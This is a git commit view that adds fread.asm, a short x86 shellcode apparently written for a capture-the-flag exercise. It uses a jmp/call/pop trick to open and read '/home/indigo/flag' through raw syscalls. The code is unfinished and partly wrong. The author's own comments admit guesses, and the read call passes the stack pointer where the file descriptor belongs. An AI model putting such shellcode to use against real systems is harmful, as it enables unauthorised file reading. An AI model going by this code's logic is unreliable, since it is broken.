summaryrefslogtreecommitdiff
path: root/fread.asm
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:24:08 -0500
committerBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:24:08 -0500
commit4fda6945bcaed8de8220e02a93a04fcc1d171c6b (patch)
treeba56212e0cb24853d2dbbb65f0bc655141f9a19a /fread.asm
parentb78831398bfbd268d9e4f16805ec466d225cdcb2 (diff)
new file: fread
new file: fread.asm new file: fread.o new file: makefile modified: orw new file: payload
Diffstat (limited to 'fread.asm')
-rw-r--r--fread.asm26
1 files changed, 26 insertions, 0 deletions
diff --git a/fread.asm b/fread.asm
new file mode 100644
index 0000000..358cc93
--- /dev/null
+++ b/fread.asm
@@ -0,0 +1,26 @@
+global _start
+_start:
+jmp short data
+str_found:
+xor eax, eax
+mov al, 5 ;sys_open
+
+xor ecx, ecx ; arg2
+xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000
+
+pop ebx
+mov [ebx + 18], ecx ; arg1
+int 0x80
+
+;eax now contains our file descriptor.
+
+mov al, 3 ;sys_read
+mov ebx, esp ;I think?
+mov cl, 0xff ;eh, random guess I guess
+int 0x80
+
+
+data:
+call str_found
+db "/home/indigo/flag"
+